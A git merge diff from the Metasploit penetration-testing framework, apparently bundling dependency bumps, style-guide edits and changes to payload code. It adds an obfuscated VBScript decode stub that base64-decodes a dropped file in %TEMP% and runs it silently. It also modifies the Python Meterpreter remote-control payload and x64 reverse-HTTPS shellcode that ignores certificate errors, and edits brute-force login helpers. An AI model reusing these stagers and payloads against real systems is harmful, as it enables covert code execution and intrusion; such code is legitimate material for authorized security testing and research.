Merge branch 'rapid7' into bug/osx-mods-load-order
Conflicts: modules/post/windows/gather/enum_dirperms.rbbug/bundler_fix
commit
150f0f644e
|
@ -3,10 +3,7 @@
|
||||||
.idea
|
.idea
|
||||||
# Sublime Text project directory (not created by ST by default)
|
# Sublime Text project directory (not created by ST by default)
|
||||||
.sublime-project
|
.sublime-project
|
||||||
# Portable ruby version files for rvm
|
# RVM control file, keep this to avoid backdooring Metasploit
|
||||||
.ruby-gemset
|
|
||||||
.ruby-version
|
|
||||||
# RVM control file
|
|
||||||
.rvmrc
|
.rvmrc
|
||||||
# YARD cache directory
|
# YARD cache directory
|
||||||
.yardoc
|
.yardoc
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
metasploit-framework
|
|
@ -0,0 +1 @@
|
||||||
|
ruby-1.9.3-p448
|
|
@ -15,4 +15,4 @@ notifications:
|
||||||
irc: "irc.freenode.org#msfnotify"
|
irc: "irc.freenode.org#msfnotify"
|
||||||
|
|
||||||
git:
|
git:
|
||||||
depth: 1
|
depth: 5
|
||||||
|
|
7
Gemfile
7
Gemfile
|
@ -11,7 +11,7 @@ gem 'nokogiri'
|
||||||
# Needed by anemone crawler
|
# Needed by anemone crawler
|
||||||
gem 'robots'
|
gem 'robots'
|
||||||
# Needed by db.rb and Msf::Exploit::Capture
|
# Needed by db.rb and Msf::Exploit::Capture
|
||||||
gem 'packetfu', '1.1.8'
|
gem 'packetfu', '1.1.9'
|
||||||
|
|
||||||
group :db do
|
group :db do
|
||||||
# Needed for Msf::DbManager
|
# Needed for Msf::DbManager
|
||||||
|
@ -41,7 +41,7 @@ group :development, :test do
|
||||||
# 'FactoryGirl.' in factory definitions syntax.
|
# 'FactoryGirl.' in factory definitions syntax.
|
||||||
gem 'factory_girl', '>= 4.1.0'
|
gem 'factory_girl', '>= 4.1.0'
|
||||||
# running documentation generation tasks and rspec tasks
|
# running documentation generation tasks and rspec tasks
|
||||||
gem 'rake'
|
gem 'rake', '>= 10.0.0'
|
||||||
end
|
end
|
||||||
|
|
||||||
group :test do
|
group :test do
|
||||||
|
@ -51,11 +51,10 @@ group :test do
|
||||||
gem 'database_cleaner'
|
gem 'database_cleaner'
|
||||||
# testing framework
|
# testing framework
|
||||||
gem 'rspec', '>= 2.12'
|
gem 'rspec', '>= 2.12'
|
||||||
# add matchers from shoulda, such as query_the_database, which is useful for
|
|
||||||
# testing that the Msf::DBManager activation is respected.
|
|
||||||
gem 'shoulda-matchers'
|
gem 'shoulda-matchers'
|
||||||
# code coverage for tests
|
# code coverage for tests
|
||||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||||
|
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||||
gem 'simplecov', '0.5.4', :require => false
|
gem 'simplecov', '0.5.4', :require => false
|
||||||
# Manipulate Time.now in specs
|
# Manipulate Time.now in specs
|
||||||
gem 'timecop'
|
gem 'timecop'
|
||||||
|
|
66
Gemfile.lock
66
Gemfile.lock
|
@ -1,62 +1,58 @@
|
||||||
GEM
|
GEM
|
||||||
remote: http://rubygems.org/
|
remote: http://rubygems.org/
|
||||||
specs:
|
specs:
|
||||||
activemodel (3.2.13)
|
activemodel (3.2.14)
|
||||||
activesupport (= 3.2.13)
|
activesupport (= 3.2.14)
|
||||||
builder (~> 3.0.0)
|
builder (~> 3.0.0)
|
||||||
activerecord (3.2.13)
|
activerecord (3.2.14)
|
||||||
activemodel (= 3.2.13)
|
activemodel (= 3.2.14)
|
||||||
activesupport (= 3.2.13)
|
activesupport (= 3.2.14)
|
||||||
arel (~> 3.0.2)
|
arel (~> 3.0.2)
|
||||||
tzinfo (~> 0.3.29)
|
tzinfo (~> 0.3.29)
|
||||||
activesupport (3.2.13)
|
activesupport (3.2.14)
|
||||||
i18n (= 0.6.1)
|
i18n (~> 0.6, >= 0.6.4)
|
||||||
multi_json (~> 1.0)
|
multi_json (~> 1.0)
|
||||||
arel (3.0.2)
|
arel (3.0.2)
|
||||||
bourne (1.4.0)
|
|
||||||
mocha (~> 0.13.2)
|
|
||||||
builder (3.0.4)
|
builder (3.0.4)
|
||||||
database_cleaner (0.9.1)
|
database_cleaner (1.1.1)
|
||||||
diff-lcs (1.2.2)
|
diff-lcs (1.2.4)
|
||||||
factory_girl (4.2.0)
|
factory_girl (4.2.0)
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
i18n (0.6.1)
|
i18n (0.6.5)
|
||||||
json (1.7.7)
|
json (1.8.0)
|
||||||
metaclass (0.0.1)
|
|
||||||
metasploit_data_models (0.16.6)
|
metasploit_data_models (0.16.6)
|
||||||
activerecord (>= 3.2.13)
|
activerecord (>= 3.2.13)
|
||||||
activesupport
|
activesupport
|
||||||
pg
|
pg
|
||||||
mocha (0.13.3)
|
mini_portile (0.5.1)
|
||||||
metaclass (~> 0.0.1)
|
msgpack (0.5.5)
|
||||||
msgpack (0.5.4)
|
|
||||||
multi_json (1.0.4)
|
multi_json (1.0.4)
|
||||||
network_interface (0.0.1)
|
network_interface (0.0.1)
|
||||||
nokogiri (1.5.9)
|
nokogiri (1.6.0)
|
||||||
packetfu (1.1.8)
|
mini_portile (~> 0.5.0)
|
||||||
|
packetfu (1.1.9)
|
||||||
pcaprub (0.11.3)
|
pcaprub (0.11.3)
|
||||||
pg (0.15.1)
|
pg (0.16.0)
|
||||||
rake (10.0.4)
|
rake (10.1.0)
|
||||||
redcarpet (2.2.2)
|
redcarpet (3.0.0)
|
||||||
robots (0.10.1)
|
robots (0.10.1)
|
||||||
rspec (2.13.0)
|
rspec (2.14.1)
|
||||||
rspec-core (~> 2.13.0)
|
rspec-core (~> 2.14.0)
|
||||||
rspec-expectations (~> 2.13.0)
|
rspec-expectations (~> 2.14.0)
|
||||||
rspec-mocks (~> 2.13.0)
|
rspec-mocks (~> 2.14.0)
|
||||||
rspec-core (2.13.1)
|
rspec-core (2.14.5)
|
||||||
rspec-expectations (2.13.0)
|
rspec-expectations (2.14.2)
|
||||||
diff-lcs (>= 1.1.3, < 2.0)
|
diff-lcs (>= 1.1.3, < 2.0)
|
||||||
rspec-mocks (2.13.0)
|
rspec-mocks (2.14.3)
|
||||||
shoulda-matchers (1.5.2)
|
shoulda-matchers (2.3.0)
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
bourne (~> 1.3)
|
|
||||||
simplecov (0.5.4)
|
simplecov (0.5.4)
|
||||||
multi_json (~> 1.0.3)
|
multi_json (~> 1.0.3)
|
||||||
simplecov-html (~> 0.5.3)
|
simplecov-html (~> 0.5.3)
|
||||||
simplecov-html (0.5.3)
|
simplecov-html (0.5.3)
|
||||||
timecop (0.6.1)
|
timecop (0.6.3)
|
||||||
tzinfo (0.3.37)
|
tzinfo (0.3.37)
|
||||||
yard (0.8.5.2)
|
yard (0.8.7)
|
||||||
|
|
||||||
PLATFORMS
|
PLATFORMS
|
||||||
ruby
|
ruby
|
||||||
|
@ -71,10 +67,10 @@ DEPENDENCIES
|
||||||
msgpack
|
msgpack
|
||||||
network_interface (~> 0.0.1)
|
network_interface (~> 0.0.1)
|
||||||
nokogiri
|
nokogiri
|
||||||
packetfu (= 1.1.8)
|
packetfu (= 1.1.9)
|
||||||
pcaprub
|
pcaprub
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
rake
|
rake (>= 10.0.0)
|
||||||
redcarpet
|
redcarpet
|
||||||
robots
|
robots
|
||||||
rspec (>= 2.12)
|
rspec (>= 2.12)
|
||||||
|
|
4
HACKING
4
HACKING
|
@ -9,8 +9,8 @@ Code Style
|
||||||
In order to maintain consistency and readability, we ask that you
|
In order to maintain consistency and readability, we ask that you
|
||||||
adhere to the following style guidelines:
|
adhere to the following style guidelines:
|
||||||
|
|
||||||
- Hard tabs, not spaces
|
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||||
- Try to keep your lines under 100 columns (assuming four-space tabs)
|
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||||
- do; end instead of {} for a block
|
- do; end instead of {} for a block
|
||||||
- Always use str[0,1] instead of str[0]
|
- Always use str[0,1] instead of str[0]
|
||||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||||
|
|
|
@ -0,0 +1,49 @@
|
||||||
|
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
|
||||||
|
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
|
||||||
|
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
|
||||||
|
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
|
||||||
|
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
|
||||||
|
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
|
||||||
|
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
|
||||||
|
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
|
||||||
|
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
|
||||||
|
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
|
||||||
|
echo Set fs = CreateObject(scriptingFS) >>decode_stub
|
||||||
|
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
|
||||||
|
echo If file.Size Then >>decode_stub
|
||||||
|
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
|
||||||
|
echo data = fd.ReadAll >>decode_stub
|
||||||
|
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
|
||||||
|
echo data = Replace(data, vbCrLf, nil) >>decode_stub
|
||||||
|
echo data = base64_decode(data) >>decode_stub
|
||||||
|
echo fd.Close >>decode_stub
|
||||||
|
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
|
||||||
|
echo ofs.Write data >>decode_stub
|
||||||
|
echo ofs.close >>decode_stub
|
||||||
|
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
|
||||||
|
echo Else >>decode_stub
|
||||||
|
echo Wscript.Echo emptyString >>decode_stub
|
||||||
|
echo End If >>decode_stub
|
||||||
|
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||||
|
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||||
|
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||||
|
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||||
|
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||||
|
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||||
|
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||||
|
echo If Not w2 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||||
|
echo If Not w3 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||||
|
echo If Not w4 Then _ >>decode_stub
|
||||||
|
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||||
|
echo Next >>decode_stub
|
||||||
|
echo base64_decode = strOut >>decode_stub
|
||||||
|
echo End Function >>decode_stub
|
||||||
|
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||||
|
echo If Len(strIn) = 0 Then >>decode_stub
|
||||||
|
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||||
|
echo Else >>decode_stub
|
||||||
|
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||||
|
echo End If >>decode_stub
|
||||||
|
echo End Function >>decode_stub
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_fs_file_expand_path(request, response):
|
def stdapi_fs_file_expand_path(request, response):
|
||||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
if path_tlv == '%COMSPEC%':
|
if has_windll:
|
||||||
if platform.system() == 'Windows':
|
path_out = (ctypes.c_char * 4096)()
|
||||||
result = 'cmd.exe'
|
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||||
else:
|
result = ''.join(path_out)[:path_out_len]
|
||||||
|
elif path_tlv == '%COMSPEC%':
|
||||||
result = '/bin/sh'
|
result = '/bin/sh'
|
||||||
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
|
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||||
result = '/tmp'
|
result = '/tmp'
|
||||||
else:
|
else:
|
||||||
result = os.getenv(path_tlv)
|
result = os.getenv(path_tlv, path_tlv)
|
||||||
if not result:
|
if not result:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_fs_file_move(request, response):
|
||||||
|
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||||
|
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
|
os.rename(oldname, newname)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_fs_getwd(request, response):
|
def stdapi_fs_getwd(request, response):
|
||||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||||
|
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
|
||||||
m = hashlib.md5()
|
m = hashlib.md5()
|
||||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
m.update(open(path, 'rb').read())
|
m.update(open(path, 'rb').read())
|
||||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
|
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
|
||||||
m = hashlib.sha1()
|
m = hashlib.sha1()
|
||||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
m.update(open(path, 'rb').read())
|
m.update(open(path, 'rb').read())
|
||||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
|
||||||
self.data_lock.acquire()
|
self.data_lock.acquire()
|
||||||
self.data += byte
|
self.data += byte
|
||||||
self.data_lock.release()
|
self.data_lock.release()
|
||||||
|
data = self.std.read()
|
||||||
self.data_lock.acquire()
|
self.data_lock.acquire()
|
||||||
self.data += self.std.read()
|
self.data += data
|
||||||
self.data_lock.release()
|
self.data_lock.release()
|
||||||
|
|
||||||
def is_read_ready(self):
|
def is_read_ready(self):
|
||||||
|
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
while self.running:
|
while self.running:
|
||||||
if len(select.select([self.socket], [], [], 0)[0]):
|
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||||
request = self.socket.recv(8)
|
request = self.socket.recv(8)
|
||||||
if len(request) != 8:
|
if len(request) != 8:
|
||||||
break
|
break
|
||||||
|
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
|
||||||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||||
resp += tlv_pack(reqid_tlv)
|
resp += tlv_pack(reqid_tlv)
|
||||||
|
|
||||||
if method_tlv['value'] in self.extension_functions:
|
handler_name = method_tlv['value']
|
||||||
handler = self.extension_functions[method_tlv['value']]
|
if handler_name in self.extension_functions:
|
||||||
|
handler = self.extension_functions[handler_name]
|
||||||
try:
|
try:
|
||||||
|
#print("[*] running method {0}".format(handler_name))
|
||||||
result, resp = handler(request, resp)
|
result, resp = handler(request, resp)
|
||||||
except Exception, err:
|
except Exception, err:
|
||||||
|
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||||
result = ERROR_FAILURE
|
result = ERROR_FAILURE
|
||||||
else:
|
else:
|
||||||
|
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||||
result = ERROR_FAILURE
|
result = ERROR_FAILURE
|
||||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,8 @@
|
||||||
|
aspnet_client/
|
||||||
|
Autodiscover/
|
||||||
|
ecp/
|
||||||
|
EWS/
|
||||||
|
Microsoft-Server-ActiveSync/
|
||||||
|
OAB/
|
||||||
|
PowerShell/
|
||||||
|
Rpc/
|
|
@ -1,6 +1,7 @@
|
||||||
;-----------------------------------------------------------------------------;
|
;-----------------------------------------------------------------------------;
|
||||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||||
; Rewritten for x64 by agix
|
; Rewritten for x64 by agix
|
||||||
|
; Modified to account for memory alignment by rwincey
|
||||||
; Compatible: Windows 7
|
; Compatible: Windows 7
|
||||||
; Architecture: x64
|
; Architecture: x64
|
||||||
;-----------------------------------------------------------------------------;
|
;-----------------------------------------------------------------------------;
|
||||||
|
@ -12,6 +13,7 @@
|
||||||
|
|
||||||
load_wininet:
|
load_wininet:
|
||||||
; setup the structures we need on the stack...
|
; setup the structures we need on the stack...
|
||||||
|
push byte 0 ; alignment
|
||||||
mov r14, 'wininet'
|
mov r14, 'wininet'
|
||||||
push r14 ; Push the bytes 'wininet',0 onto the stack.
|
push r14 ; Push the bytes 'wininet',0 onto the stack.
|
||||||
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
|
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
|
||||||
|
@ -20,6 +22,7 @@ load_wininet:
|
||||||
call rbp ; LoadLibraryA( "ws2_32" )
|
call rbp ; LoadLibraryA( "ws2_32" )
|
||||||
|
|
||||||
internetopen:
|
internetopen:
|
||||||
|
push byte 0 ; alignment
|
||||||
push byte 0 ; NULL pointer
|
push byte 0 ; NULL pointer
|
||||||
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
|
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
|
||||||
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
|
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||||
|
@ -74,6 +77,7 @@ retry:
|
||||||
internetsetoption:
|
internetsetoption:
|
||||||
mov rcx, rsi ; HINTERNET hInternet
|
mov rcx, rsi ; HINTERNET hInternet
|
||||||
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||||
|
push byte 0 ; alignment
|
||||||
push qword 0x00003380
|
push qword 0x00003380
|
||||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||||
|
@ -90,6 +94,7 @@ httpsendrequest:
|
||||||
xor rdx, rdx ; LPCTSTR lpszHeaders
|
xor rdx, rdx ; LPCTSTR lpszHeaders
|
||||||
xor r8, r8 ; DWORD dwHeadersLength
|
xor r8, r8 ; DWORD dwHeadersLength
|
||||||
xor r9, r9 ; LPVOID lpOptional
|
xor r9, r9 ; LPVOID lpOptional
|
||||||
|
push rdx ; alignment
|
||||||
push rdx ; DWORD dwOptionalLength
|
push rdx ; DWORD dwOptionalLength
|
||||||
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||||
call rbp
|
call rbp
|
||||||
|
|
|
@ -776,10 +776,10 @@ class Disassembler
|
||||||
def strings_scan(minlen=6)
|
def strings_scan(minlen=6)
|
||||||
ret = []
|
ret = []
|
||||||
nexto = 0
|
nexto = 0
|
||||||
pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o|
|
pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o|
|
||||||
if o - nexto > 0
|
if o - nexto > 0
|
||||||
next unless e = get_edata_at(o)
|
next unless e = get_edata_at(o)
|
||||||
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m]
|
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm]
|
||||||
ret << [o, str] if not block_given? or yield(o, str)
|
ret << [o, str] if not block_given? or yield(o, str)
|
||||||
nexto = o + str.length
|
nexto = o + str.length
|
||||||
end
|
end
|
||||||
|
|
|
@ -231,7 +231,7 @@ class HexWidget < DrawableWidget
|
||||||
end
|
end
|
||||||
if @show_ascii and d
|
if @show_ascii and d
|
||||||
x = xa + d_o*@font_width
|
x = xa + d_o*@font_width
|
||||||
d = d.gsub(/[^\x20-\x7e]/, '.')
|
d = d.gsub(/[^\x20-\x7e]/n, '.')
|
||||||
if wp.empty?
|
if wp.empty?
|
||||||
render[d, :ascii]
|
render[d, :ascii]
|
||||||
else
|
else
|
||||||
|
@ -393,7 +393,7 @@ class HexWidget < DrawableWidget
|
||||||
# pop a dialog, scans the sections for a hex pattern
|
# pop a dialog, scans the sections for a hex pattern
|
||||||
def prompt_search_hex
|
def prompt_search_hex
|
||||||
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
|
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
|
||||||
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" }
|
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" }
|
||||||
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
|
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
|
||||||
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
|
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
|
||||||
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }
|
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }
|
||||||
|
|
|
@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
|
||||||
def initialize(rstream,opts={})
|
def initialize(rstream,opts={})
|
||||||
super
|
super
|
||||||
self.platform = 'x86/win32'
|
self.platform = 'x86/win32'
|
||||||
self.binary_suffix = 'dll'
|
self.binary_suffix = 'x86.dll'
|
||||||
end
|
end
|
||||||
|
|
||||||
def lookup_error(code)
|
def lookup_error(code)
|
||||||
|
|
|
@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
|
||||||
next if @@credentials_skipped[fq_user]
|
next if @@credentials_skipped[fq_user]
|
||||||
next if @@credentials_tried[fq_user] == p
|
next if @@credentials_tried[fq_user] == p
|
||||||
|
|
||||||
datastore['USERNAME'] = u.to_s
|
|
||||||
datastore['PASSWORD'] = p.to_s
|
|
||||||
ret = block.call(u, p)
|
ret = block.call(u, p)
|
||||||
|
|
||||||
case ret
|
case ret
|
||||||
|
|
|
@ -128,10 +128,10 @@ module Auxiliary::Login
|
||||||
false
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
def password_prompt?
|
def password_prompt?(username=nil)
|
||||||
return true if(@recvd =~ @password_regex)
|
return true if(@recvd =~ @password_regex)
|
||||||
if datastore['USERNAME']
|
if username
|
||||||
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
|
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
|
||||||
end
|
end
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
|
@ -59,7 +59,7 @@ def get_nmap_ver
|
||||||
nmap_cmd = [self.nmap_bin]
|
nmap_cmd = [self.nmap_bin]
|
||||||
nmap_cmd << "--version"
|
nmap_cmd << "--version"
|
||||||
res << %x{#{nmap_cmd.join(" ")}} rescue nil
|
res << %x{#{nmap_cmd.join(" ")}} rescue nil
|
||||||
res.gsub(/[\x0d\x0a]/,"")
|
res.gsub(/[\x0d\x0a]/n,"")
|
||||||
end
|
end
|
||||||
|
|
||||||
# Takes a version string in the form of Major.Minor and compares to
|
# Takes a version string in the form of Major.Minor and compares to
|
||||||
|
@ -68,16 +68,16 @@ end
|
||||||
# Comparing an Integer is okay, though.
|
# Comparing an Integer is okay, though.
|
||||||
def nmap_version_at_least?(test_ver=nil)
|
def nmap_version_at_least?(test_ver=nil)
|
||||||
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
|
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
|
||||||
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/]
|
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n]
|
||||||
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
|
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
|
||||||
end
|
end
|
||||||
test_ver_str = test_ver.to_s
|
test_ver_str = test_ver.to_s
|
||||||
tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||||
installed_ver = get_nmap_ver()
|
installed_ver = get_nmap_ver()
|
||||||
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
|
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
|
||||||
return false if (vtag.nil? || vtag.empty?)
|
return false if (vtag.nil? || vtag.empty?)
|
||||||
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag.
|
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag.
|
||||||
